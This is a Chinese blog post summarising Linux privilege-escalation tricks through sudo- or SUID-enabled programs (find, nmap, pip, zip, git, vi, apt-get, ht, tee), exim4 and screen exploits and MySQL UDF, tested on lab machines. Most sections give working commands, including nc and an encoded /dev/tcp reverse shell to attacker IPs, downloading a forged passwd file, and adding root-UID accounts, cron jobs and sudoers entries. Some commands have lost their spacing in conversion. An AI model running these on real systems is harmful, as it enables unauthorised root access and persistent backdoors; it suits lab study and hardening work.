Linux通过第三方应用提权实战总结

妖狐艹你老母 2022-10-30 15:28 668阅读 0赞

Linux提权，前提是拿到了一个低权限的账号，能上传和下载文件，主要思路有：

1、内核提权。网上各种大佬的payload很多，关键在于要能找到利用哪个exp以及具体如何利用。省力点的方法是用searchsploit或者linux-exploit-suggester.sh来查找，熟悉之后难度也不大。

2、suid提权。这里也包含了sudo这种方式，两种方法的思路都是一样的，区别在于suid针对单个程序，sudo针对某个用户。这类提权方式的主要思路是：管理员授权普通用户去执行 root 权限的操作，而不需要知道 root 的密码，合理的利用拥有root权限的程序，就可以实现提权。通常遇到的情况有：

（1）直接提权，sudo -i 就可以切换到root了；

（2）修改系统文件，如计划任务文件、用户文件、密码文件、sudoers文件等，本文把这个作为彩蛋后续也讲一下；

（3）修改程序本身，如果对程序有写权限的话，直接把反弹的bash命令写到程序里，运行程序即可提权；

（4）对程序进行溢出，部分程序通过端口可以实现和用户的交互，这也就存在可以溢出的前提。

总的来说，suid提权难度没有上限和下限，简单的直接一个sudo -i命令，难的涉及到溢出，相当于在挖0day。

3、第三方应用提权。

某些程序使用root权限启动，如果第三方服务或者程序存在漏洞或者配置问题，可以被利用来获得root权限。相比前几种方式，难度属于中间，不像内核提权套路很固定，也不像suid提权方法很灵活多样。

本文总结了常见的一些第三方应用的提权方法，所以的方法都经过实际测试，拿出来与大家相互交流和学习。（为避免文章篇幅过于冗长，每个应用具体的提权原理就不详细介绍了，感兴趣的自行查阅相关文档）

## find提权 ##

### 实例1 ###

一个典型的例子是将SUDO权限分配给find命令，以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道’find’命令包含用于执行命令的参数，但攻击者可以以root特权执行命令。  
拿到普通用户权限之后，使用sudo –l查看下， 查看当前是否存在当前用户可以调用sudo的命令，如下图，当前用户可以执行find命令，然后通过find命令获取root权限。

![图片][aa2da94c0604c63acd9db234c01f51d7.png]

nc正向反弹

![图片][ad05926925b14622aac166a79877bc1b.png]

![图片][0846f3696e209eaf238b0bda2fa1518f.png]

nc反向反弹

find /var/www/dirty -exec nc 192.168.167.4 8888 -t -e /bin/sh \

![图片][d69956b072d03aaf0e047396920c9d06.png]

![图片][46994b8e2b61506ce634301f7a4c3463.png]

### 实例2 ###

查找具有特殊权限SUID的文件

find / -perm -u=s -type f 2>/dev/null

![图片][6b668d4993ca8382aff74f6ad9585272.png]

如果find以SUID权限运行，所有通过find执行的命令都会以root提权运行

通过find命令给wget命令提供SUID权限。

![图片][bd203a00419de9b48ff60db29565b4b1.png]

通过OpenSSL passwd 生成一个新的用户hacker，密码为hack123

openssl passwd -1 -salt hacker hack123
    $1$hacker$0vnQaCNuzDe3w9d6jHfXQ0

将其追加到kali的/etc/passwd文件中

将

> hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash

追加到passwd中

在Kali上启动一个python服务器

python -m SimpleHTTPServer 8000

将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件

wget -O passwd http://10.10.10.128:8000/passwd

![图片][4609eb96df69dd2e23a00dc56179edca.png]

然后切换到hacker用户即可，

![图片][0450ca2cb09186aeb80917a486547401.png]

## nmap提权 ##

### 实例1 ###

nmap被suid分配了root权限；

![图片][8b912e37c407626dc132c779d24070f8.png]

用nmap来提权；

![图片][41d7b1644274802a29cd46d45a52620f.png]

### 实例2 ###

当单个用户被分配了root权限时，

![图片][312b0183021aa3c2ec398843502ed4a9.png]

nmap提权；

echo "os.execute('/bin/bash')" >> shell.nce
    sudo nmap -script=/tmp/shell.nce

![图片][95b3f9dd68307d2872193855bcf47e17.png]

## pip提权 ##

pip命令被分配了root权限

![图片][bcbd16a8bd0eaf3fde0c85502abe7b69.png]

pip提权；

*   
 *   
 *

TF=$(mktemp -d)echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.pysudo pip install $TF

![图片][80888da99ffd838a27256f279bdce673.png]

## zip提权 ##

zip命令被分配了root权限

![图片][65fdce85ccdbf82d02a1ae9ea05ebc97.png]

我们可以发现 sarang 用户可以以 root 用户身份权限来运行 zip 命令，那么我们就可以通过 ZIP 来进行提权：

*   
 *

TF=$(mktemp -u)sudo zip $TF /etc/hosts -T -TT ‘sh #’

![图片][87321c3812a4f65470bcea6bba5f7e32.png]

还有一种可以这样玩：先创建一个 liuwx 文件，然后在将它压缩为zip文件，最后使用unzip-command来执行bash命令从而提权：

touch liuwx

sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T —unzip-command=”sh -c /bin/bash” tmp为可写目录，所以压缩包放在tmp下；

![图片][6481122258d61e68889fab7ecdb5b49d.png]

## git提权 ##

git命令被分配了root权限

![图片][3b2521d58f913d3609c12ab935cccbf9.png]

利用git来提权；

*   
 *

sudo git help add!/bin/bash

![图片][f1adcd98bf71b7eaaa1fd20c36df3090.png]

![图片][cedbe389af88435fa1b86f32a279dcde.png]

粘贴代码到此处，然后回车完成提权；

还可以；

sudo git help config

在末行命令模式输入 !/bin/bash 或 !’sh’ 完成提权

## screen提权 ##

Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话，并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

在Screen环境下，所有的会话都独立的运行，并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换，并可以自由的重定向各个窗口的输入和输出。

![图片][05c31a1f68a443b54421bdb4a6d15ea4.png]![图片][ce0014749208fbfec239f6f193951a2f.png]

仔细阅读下41154.sh脚本的内容，具体操作步骤为：

把41154.sh的代码分为3个文件；

![图片][37d6aa0875187551f973ac3752aa966c.png]

![图片][e6968ef34594f16cd5da5299a7cb4f3a.png]

![图片][06b057ba67fe695e5d293d12da421d19.png]

将两个c文件在本地编译后，上传到靶机下，更改权限后运行；

![图片][d74f16bd3d745f6c15027c8aed7c2615.png]

## exim4提权 ##

Exim4是在剑桥大学开发的另一种消息传输代理（MTA），用于在连接到Internet的Unix系统上使用。尽管exim的配置与sendmail的配置完全不同，但是可以安装Exim代替sendmail。

![图片][bcc2a5c8aaeea8c287ffef688479c085.png]

sudo -l用之前的密码试了不对，发现exim4；

查看exim4当前版本号

/usr/sbin/exim4 —version

![图片][d86948d24f27250e5b160ef32f4edfef.png]

或者 dpkg -l | grep exim 查看包安装情况

![图片][7b25aec71053a138e1795cf34e8b97bf.png]

查找漏洞；

![图片][a977d28ee4d1cf0ee0da8547bfe22c8f.png]

用法介绍；

![图片][1af58badf9458d9a81fb217661814662.png]

上传脚本；执行后成功；

![图片][37752234a5e2ee435e93e593baabbb6d.png]

## vi提权 ##

vi命令分配了root权限

![图片][486bcda24b34b1dc3d825c81faa1e1a0.png]

运行sudo -l发现该用户可以任意用户执行vi，按esc后输入:!/bin/bash直接提权至root。

sudo /usr/bin/vi /tmp/jin

![图片][b60452e03a87453f1435163b02515591.png]

esc退出，然后输入 :!/bin/bash ；

![图片][9d7baf6f316a573c827b866999616a32.png]

或者还可以；

sudo /usr/bin/vi /tmp/jin

:set shell=/bin/sh 回车

:shell 回车

![图片][30c7c10ad78adcf8f41226afd7bd4e61.png]

## python沙箱逃逸 ##

1337端口用python编写的，于是尝试python沙箱逃逸

eval(‘**import**(“os”).system(“whoami”)’) \#查看是以什么权限运行

![图片][b3b4ebb9bb965199ce22923240236c9c.png]

eval(‘import(“os”).system(“echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2Ny4xMzEvNjY2NiAwPiYx|base64 -d|bash”)’) #反弹shell

![图片][0404df6dc15b9e9f55dcd2cea67b14e5.png]

## ht编辑器 ##

ht编辑器被分配了root权限

*   
 *   
 *   
 *   
 *

Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106loneferret@Kioptrix3:~$ sudo -lUser loneferret may run the following commands on this host:(root) NOPASSWD: !/usr/bin/su(root) NOPASSWD: /usr/local/bin/ht

ht编辑器被分配root权限。如果编辑/etc/sudoers，在里面给lone这个用户的sudo -l 权限再添加个/bin/bash，可以直接拿root的shell了。

ht运行之前要设置下，输入export TERM=xterm

底下就是命令 f3打开 f2保存

打开sudoers，在用户那又加了个/bin/bash指令

![图片][3e4bdcab5fae5e1ce198fc2de00e5b96.png]

f2保存退出。。ctrl c

再看看sudo -l，多了命令

*   
 *   
 *   
 *   
 *

loneferret@Kioptrix3:/tmp$ sudo -lUser loneferret may run the following commands on this host:(root) NOPASSWD: !/usr/bin/su(root) NOPASSWD: /usr/local/bin/ht(root) NOPASSWD: /bin/bash

sudo /bin/bash 搞定，转成root

![图片][f43de783e070c4fc342cff16b4302a07.png]

## mysql UDF提权 ##

查看开启的端口发现有3306

![图片][01c7bfb2a44d81cd6c73f20e140cb502.png]

ps -ef | grep root | grep mysql

![图片][d357133e7b20a3ca5e248a2f12239b17.png]

很自然想到的MySQL UDF提权，从前面SQL注入中获取到的信息发现数据库版本是5.0.12，但是在上传动态链接库后导出时出错。然而，在查看mysql数据库时很幸运发现已经存在func表，且表中含有执行命令的函数，

mysql> use mysql
    Reading table information for completion of table and column names
    You can turn off this feature to get a quicker startup with -A
    
    Database changed
    mysql> select * from func;
    +-----------------------+-----+---------------------+----------+
    | name                  | ret | dl                  | type     |
    +-----------------------+-----+---------------------+----------+
    | lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function |
    | sys_exec              |   0 | lib_mysqludf_sys.so | function |
    +-----------------------+-----+---------------------+----------+
    2 rows in set (0.00 sec)
    
    mysql> select sys_exec('usermod -a -G admin john');
    +--------------------------------------+
    | sys_exec('usermod -a -G admin john') |
    +--------------------------------------+
    | NULL                                 |
    +--------------------------------------+
    1 row in set (0.05 sec)
    
    mysql> exit
    Bye
    john@Kioptrix4:/var/www$ sudo su -
    [sudo] password for john:
    root@Kioptrix4:~# whoami
    root
    root@Kioptrix4:~# cd /root
    root@Kioptrix4:~# ls
    congrats.txt  lshell-0.9.12
    root@Kioptrix4:~#

## apt-get提权 ##

执行sudo -l，发现可以免密执行adduser命令，添加一个root组的用户

![图片][3ef8c8b5b421cb80b22632e4b23e55dd.png]

有了这个跟 root 同一组的用户，就可以读到一些只能root组和root读的文件:/etc/sudoers，该文件包含了能够让普通用户执行一些或者全部的root命令，如果该文件可以写入的话，我们可以把当前用户写入：chounana ALL=(ALL:ALL) ALL，这样当执行sudo su的时候，我们就可以进入到 root 了！

但现在只有读权限：

查看sudoers文件，查看还有哪些用户可以使用sudo执行命令，发现一个jason用户，但是这个用户并不存在，但是我们是可以新建用户的，所以需要密码（自己的密码）才能执行这个也就没有问题。

![图片][9f3b47635e621c733867845ea23f3bf1.png]

exit退回到saint用户，新建jason用户

*   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *   
 *

chounana@djinn3:/home/saint$ exitexitsaint@djinn3:~$ sudo adduser jasonAdding user `jason' ...Adding new group `jason' (1005) ...Adding new user `jason' (1005) with group `jason' ...Creating home directory `/home/jason' ...Copying files from `/etc/skel' ...Enter new UNIX password: Retype new UNIX password: passwd: password updated successfullyChanging the user information for jasonEnter the new value, or press ENTER for the default        Full Name []:         Room Number []:         Work Phone []:         Home Phone []:         Other []: Is the information correct? [Y/n] saint@djinn3:~$

切换到jason用户，使用apt-get命令提权，因为用户是自己建立的，所以密码也当然是知道的；

*   
 *

sudo apt-get changelog apt!/bin/bash

![图片][6ad40a1248dc1b4643b567bf94d684c1.png]

最后一个是彩蛋环节，通过tee命令来重写系统文件以达到提权的目的，实战中不管修改的方式如何变化，但所要修改的文件就这3个系统文件，修改的内容也大同小异。

## tee提权 ##

这里靶机用的是teehee命令，可以写入文件内容并不覆盖文件原有内容，功能与tee命令类似。

![图片][e237e039bab233c9fe9626b8d60500c0.png]

虽然有密码，但不能直接切到root，从sudo看，明显这个teehee可以不要密码以root身份运行，提权就靠这个程序了；

### 1、修改/etc/passwd用户信息 ###

追加一个名为hacker的用户，将它的uid和gid也设置为root的0：

echo “hacker::0:0:::/bin/bash” | sudo teehee -a /etc/passwd

![图片][eb01fceec654768a3cfd98d8b9c9fed4.png]

![图片][e1617f09c08d1a5ac66cf0a17d3a8350.png]

### 2、修改/etc/crontab计划任务文件 ###

可以在/etc/crontab下写入定时计划，提升到root权限。

crontab介绍

Linux crontab是用来定期执行程序的命令。当安装完成操作系统之后，默认便会启动此任务调度命令。

f1 f2 f3 f4 f5 program其中 f1 是表示分钟，f2 表示小时，f3 表示一个月份中的第几日，f4 表示月份，f5 表示一个星期中的第几天。program 表示要执行的程序。当 f1 为 * 时表示每分钟都要执行 program，f2 为 * 时表示每小时都要执行程序，其馀类推；当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行，f2 为 a-b 时表示从第 a 到第 b 小时都要执行，其馀类推；当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次，f2 为 */n 表示每 n 小时个时间间隔执行一次，其馀类推；当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行，f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行，其馀类推
    *    *    *    *    *-    -    -    -    -|    |    |    |    ||    |    |    |    +----- 星期中星期几 (0 - 7) (星期天 为0)|    |    |    +---------- 月份 (1 - 12) |    |    +--------------- 一个月中的第几天 (1 - 31)|    +-------------------- 小时 (0 - 23)+------------------------- 分钟 (0 - 59)

所以我们可以追加内容为：echo “* *\* root chmod 4777 /bin/sh” | sudo teehee -a /etc/crontab，表示在/etc/crontab下写入定时计划，一分钟后由root用户给 /bin/bash 命令加权限（chmod 4777即开启suid和rwx权限）：

![图片][8deeb4b935deff48f1cc9e889e257e43.png]

### 3、修改/etc/sudoers文件 ###

先看看本地sudoers文件的语法。cat sudoers;

![图片][c3df6d36769738741778fb9a93bc3967.png]

仿造写一个 charles ALL=(ALL:ALL) ALL

![图片][0d23f84edb372416615ab019fa153cac.png]

可以看到现在charles可以以root用户身份运行所有命令

![图片][e922c8635e0c677f2848f9d65470909e.png]

## 总结 ##

此次对于第三方应用的提权总结就告一段落了，相对suid提权而言，第三方应用提权可查的资料更多一点，套路也相对单一点，不像suid提权需要根据程序的具体情况来处理，没有相对固定的套路。对第三方应用提权多进行总结和归纳，当再次遇到的时候心里更有底，也就不那么慌了。

[aa2da94c0604c63acd9db234c01f51d7.png]: /images/20221024/d31e4caee0534e32acbb78550c99126a.png
[ad05926925b14622aac166a79877bc1b.png]: /images/20221024/6361acb95b9c4662a035d0ae6f102ffd.png
[0846f3696e209eaf238b0bda2fa1518f.png]: /images/20221024/b5e039df02f6490a9922157a793a86f3.png
[d69956b072d03aaf0e047396920c9d06.png]: /images/20221024/42b21eb7915646d481510de95e692abb.png
[46994b8e2b61506ce634301f7a4c3463.png]: /images/20221024/a4fd9ea76d384989a9253c7a84a6d505.png
[6b668d4993ca8382aff74f6ad9585272.png]: /images/20221024/443b915f763d49ca8933373ec5c86866.png
[bd203a00419de9b48ff60db29565b4b1.png]: /images/20221024/71bddf5c1bba4875a45be5a4a43014f4.png
[4609eb96df69dd2e23a00dc56179edca.png]: /images/20221024/9aea7cf10a2d4bdea1ff8e6a774ef4d5.png
[0450ca2cb09186aeb80917a486547401.png]: /images/20221024/eaf8886339a8418ea57f9ec3257b6377.png
[8b912e37c407626dc132c779d24070f8.png]: /images/20221024/0dbee790ecb44472a3e7630382ae9bf2.png
[41d7b1644274802a29cd46d45a52620f.png]: /images/20221024/d90eb9c1c7214a7d82505911808c2f47.png
[312b0183021aa3c2ec398843502ed4a9.png]: /images/20221024/e16341d8fdb64a138f8bd232ea6b125f.png
[95b3f9dd68307d2872193855bcf47e17.png]: /images/20221024/cf7e0392413f44f58580490aadec2dcd.png
[bcbd16a8bd0eaf3fde0c85502abe7b69.png]: /images/20221024/15a889d652b24519a12b779bf741ebca.png
[80888da99ffd838a27256f279bdce673.png]: /images/20221024/d6b211418e994b4eb4c2c09ce7bec4dd.png
[65fdce85ccdbf82d02a1ae9ea05ebc97.png]: /images/20221024/843207b43aff4085bdaa83571b3afb84.png
[87321c3812a4f65470bcea6bba5f7e32.png]: /images/20221024/056491b0627145a2a07c64469c1f54a5.png
[6481122258d61e68889fab7ecdb5b49d.png]: /images/20221024/7fea1d01ce1542178431274bb192c472.png
[3b2521d58f913d3609c12ab935cccbf9.png]: /images/20221024/0e9bd05e3164440b890dbf916b682b8b.png
[f1adcd98bf71b7eaaa1fd20c36df3090.png]: /images/20221024/3e41e5d1eea145b5b98e9b068d5741fa.png
[cedbe389af88435fa1b86f32a279dcde.png]: /images/20221024/cbfefbc0e0bd4bc493eff9014fe2c94e.png
[05c31a1f68a443b54421bdb4a6d15ea4.png]: https://img-blog.csdnimg.cn/img_convert/05c31a1f68a443b54421bdb4a6d15ea4.png
[ce0014749208fbfec239f6f193951a2f.png]: /images/20221024/a1f7a9c9e058438d96125fa4698a7da8.png
[37d6aa0875187551f973ac3752aa966c.png]: /images/20221024/bf06dd6f452f43fcb7c9f30816df7f0d.png
[e6968ef34594f16cd5da5299a7cb4f3a.png]: /images/20221024/ec2413b0262547e4a015c7a44acba9f1.png
[06b057ba67fe695e5d293d12da421d19.png]: /images/20221024/9a0ac93529c94b4ba97cec8dd4db93a9.png
[d74f16bd3d745f6c15027c8aed7c2615.png]: /images/20221024/4f2c29b5df13426283504c054a4ec20d.png
[bcc2a5c8aaeea8c287ffef688479c085.png]: /images/20221024/4cc040e81f784a3f9f8e630edff93e70.png
[d86948d24f27250e5b160ef32f4edfef.png]: /images/20221024/d4c2e7a65f144a4b9522e0ae3cbee1f6.png
[7b25aec71053a138e1795cf34e8b97bf.png]: /images/20221024/58456af48a424fe2a80c9c22647e9369.png
[a977d28ee4d1cf0ee0da8547bfe22c8f.png]: /images/20221024/43eb17db998341ff843ed2ceca500b23.png
[1af58badf9458d9a81fb217661814662.png]: /images/20221024/356b73356e544c13b405e0d9d41cbbdd.png
[37752234a5e2ee435e93e593baabbb6d.png]: /images/20221024/ea7dc55601f94fc196c138694b4d3f36.png
[486bcda24b34b1dc3d825c81faa1e1a0.png]: /images/20221024/00446f2c6a4647ec861fa75d37c15e13.png
[b60452e03a87453f1435163b02515591.png]: /images/20221024/f638639c3a5c4c5ba5325611efe944dd.png
[9d7baf6f316a573c827b866999616a32.png]: /images/20221024/4f9432285b4a462383d9118631ef4348.png
[30c7c10ad78adcf8f41226afd7bd4e61.png]: /images/20221024/e30d8665c4a6498483a2d4b4941a2454.png
[b3b4ebb9bb965199ce22923240236c9c.png]: /images/20221024/8c1eb9fd364a4bb1bd931c4131e02ba8.png
[0404df6dc15b9e9f55dcd2cea67b14e5.png]: /images/20221024/943d146f4d944591880d95e455eb2b23.png
[3e4bdcab5fae5e1ce198fc2de00e5b96.png]: /images/20221024/8aa08b3a979545f4a16f774e4c4d683c.png
[f43de783e070c4fc342cff16b4302a07.png]: /images/20221024/b71f016d64944465a6ff72b49fd8ed0c.png
[01c7bfb2a44d81cd6c73f20e140cb502.png]: /images/20221024/459c9e5873014ec39a9088a3b7561f1c.png
[d357133e7b20a3ca5e248a2f12239b17.png]: /images/20221024/4f3a313625454435a97a3bdc5aea500f.png
[3ef8c8b5b421cb80b22632e4b23e55dd.png]: /images/20221024/530510c2cca544aa8ae22aa14dd30b53.png
[9f3b47635e621c733867845ea23f3bf1.png]: /images/20221024/3b3be4dd22c54a5cb40db92486e45510.png
[6ad40a1248dc1b4643b567bf94d684c1.png]: /images/20221024/b94a35afef044dfda479ef219b7d054f.png
[e237e039bab233c9fe9626b8d60500c0.png]: /images/20221024/a19c111e9e1f4921835a8aa72aae41c1.png
[eb01fceec654768a3cfd98d8b9c9fed4.png]: /images/20221024/a355184437034c7e86f93c7c9ce7c1f2.png
[e1617f09c08d1a5ac66cf0a17d3a8350.png]: /images/20221024/c1dd5391082e40b499a13a363b2b5b38.png
[8deeb4b935deff48f1cc9e889e257e43.png]: /images/20221024/622d31024d1b4e6d84cdd86db16ed761.png
[c3df6d36769738741778fb9a93bc3967.png]: /images/20221024/57e205294d6844909aaa1d1cdf8b8703.png
[0d23f84edb372416615ab019fa153cac.png]: /images/20221024/0d267f3258bb4cee9114ea40c0625904.png
[e922c8635e0c677f2848f9d65470909e.png]: /images/20221024/f476826963454dfd8805c618d2870440.png